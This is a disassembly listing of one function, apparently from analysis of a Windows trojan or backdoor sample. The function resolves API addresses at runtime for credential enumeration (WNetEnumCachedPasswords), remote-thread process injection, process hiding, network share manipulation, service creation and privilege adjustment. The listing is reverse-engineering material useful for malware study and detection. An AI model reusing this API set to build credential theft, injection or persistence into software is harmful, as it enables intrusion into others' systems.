Function at 0x402784
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x40281b
push str.NETAPI32.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
mov dword [0x49a818], esi
test esi, esi
jne 0x4027b2
or eax, 0xffffffff
jmp 0x402cbb
push 0x48b209
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a878], eax
push 0x48b218
mov edx, dword [0x49a818]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a87c], eax
push 0x48b225
mov ecx, dword [0x49a818]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a880], eax
push 0x48b231
mov eax, dword [0x49a818]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a884], eax
push str.NetApiBufferFree
mov edx, dword [0x49a818]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a888], eax
jmp 0x40288a
push str.SVRAPI.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
mov dword [0x49a81c], esi
test esi, esi
jne 0x402839
or eax, 0xffffffff
jmp 0x402cbb
push str.NetSessionEnum
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a88c], eax
push str.NetShareEnum
mov edx, dword [0x49a81c]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a890], eax
push str.NetShareDel
mov ecx, dword [0x49a81c]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a894], eax
push str.NetShareAdd
mov eax, dword [0x49a81c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a898], eax
push str.MPR.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
mov dword [0x49a820], esi
test esi, esi
jne 0x4028a8
or eax, 0xffffffff
jmp 0x402cbb
test ebx, ebx
jne 0x4028bc
push str.WNetEnumCachedPasswords
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a860], eax
push str.WNetCloseEnum
mov edx, dword [0x49a820]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a864], eax
push str.WNetEnumResourceA
mov ecx, dword [0x49a820]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a868], eax
push str.WNetOpenEnumA
mov eax, dword [0x49a820]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a86c], eax
push str.WNetCancelConnection2A
mov edx, dword [0x49a820]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a870], eax
push str.WNetAddConnection2A
mov ecx, dword [0x49a820]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a874], eax
push str.KERNEL32.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
mov dword [0x49a824], esi
test esi, esi
jne 0x402947
or eax, 0xffffffff
jmp 0x402cbb
test ebx, ebx
jne 0x4029f9
push str.CreateToolhelp32Snapshot
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a82c], eax
push str.Module32First
mov edx, dword [0x49a824]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a830], eax
push str.Module32Next
mov ecx, dword [0x49a824]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a834], eax
push str.Process32First
mov eax, dword [0x49a824]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a838], eax
push str.Process32Next
mov edx, dword [0x49a824]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a83c], eax
push str.Thread32First
mov ecx, dword [0x49a824]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a840], eax
push str.Thread32Next
mov eax, dword [0x49a824]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a844], eax
push str.RegisterServiceProcess
mov edx, dword [0x49a824]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a848], eax
jmp 0x402a65
push str.CreateRemoteThread
mov ecx, dword [0x49a824]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a84c], eax
push str.VirtualProtectEx
mov eax, dword [0x49a824]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a85c], eax
push str.VirtualAllocEx
mov edx, dword [0x49a824]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a850], eax
push str.VirtualQueryEx
mov ecx, dword [0x49a824]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a858], eax
push str.VirtualFreeEx
mov eax, dword [0x49a824]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a854], eax
push str.ADVAPI32.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
mov dword [0x49a828], esi
test esi, esi
jne 0x402a83
or eax, 0xffffffff
jmp 0x402cbb
test ebx, ebx
je 0x402cb9
push str.RegSetKeySecurity
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a89c], eax
push str.SetSecurityDescriptorDacl
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8a0], eax
push str.GetAce
mov ecx, dword [0x49a828]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8a4], eax
push str.AddAccessAllowedAce
mov eax, dword [0x49a828]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8a8], eax
push str.InitializeAcl
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8ac], eax
push str.InitializeSecurityDescriptor
mov ecx, dword [0x49a828]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8b0], eax
push str.GetLengthSid
mov eax, dword [0x49a828]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8b4], eax
push str.LookupAccountNameA
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8b8], eax
push str.LookupAccountSidA
mov ecx, dword [0x49a828]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8bc], eax
push str.GetSecurityDescriptorDacl
mov eax, dword [0x49a828]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8c0], eax
push str.GetSecurityDescriptorGroup
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8c4], eax
push str.GetSecurityDescriptorOwner
mov ecx, dword [0x49a828]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8c8], eax
push str.OpenProcessToken
mov eax, dword [0x49a828]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8cc], eax
push str.LookupPrivilegeValueA
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8d0], eax
push str.AdjustTokenPrivileges
mov ecx, dword [0x49a828]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8d4], eax
push str.RegGetKeySecurity
mov eax, dword [0x49a828]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8d8], eax
push str.OpenSCManagerA
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8dc], eax
push str.CreateServiceA
mov ecx, dword [0x49a828]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8e0], eax
push str.CloseServiceHandle
mov eax, dword [0x49a828]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8e4], eax
push str.OpenServiceA
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8e8], eax
push str.StartServiceCtrlDispatcherA
mov ecx, dword [0x49a828]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8ec], eax
push str.RegisterServiceCtrlHandlerA
mov eax, dword [0x49a828]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8f0], eax
push str.SetServiceStatus
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8f4], eax
push str.DeleteService
mov ecx, dword [0x49a828]
push ecx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8f8], eax
push str.GetServiceDisplayNameA
mov eax, dword [0x49a828]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a8fc], eax
push str.StartServiceA
mov edx, dword [0x49a828]
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x49a900], eax
xor eax, eax
pop esi
pop ebx
pop ebp
ret